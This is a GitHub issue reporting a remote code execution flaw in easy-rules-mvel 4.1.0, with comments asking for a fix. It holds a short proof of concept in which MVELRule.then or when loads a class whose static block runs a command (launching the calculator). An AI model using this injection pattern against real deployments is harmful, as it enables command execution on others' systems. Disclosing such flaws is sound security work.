Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MVELRule Remote Code Execution #419

Open
sirnple opened this issue Dec 6, 2023 · 3 comments
Open

MVELRule Remote Code Execution #419

sirnple opened this issue Dec 6, 2023 · 3 comments

Comments

@sirnple
Copy link

sirnple commented Dec 6, 2023

easy-rules-mvel version: 4.1.0

I have run code like:

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.then("jaz.Zer");
} catch (Exception e) {
}

Meanwhile I hava class jaz.Zer in classpath, which content is:

import java.io.IOException;

public class Zer {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

On Windows platform, above code will open my PC's calculator

Additional: MVELRule.when also leads to this RCE

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.when("\bjaz.Zer");
} catch (Exception e) {
}
@dvgaba
Copy link

dvgaba commented Feb 1, 2024

It's a limitation of mvel expression language.

@LuisMedinaG
Copy link

Hi! Do you have an update on this, is there a workaround or fix for this?
I see the vulnerability is still open.

@dmuley17
Copy link

Do we have any workaround to fix the vulnerability ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

4 participants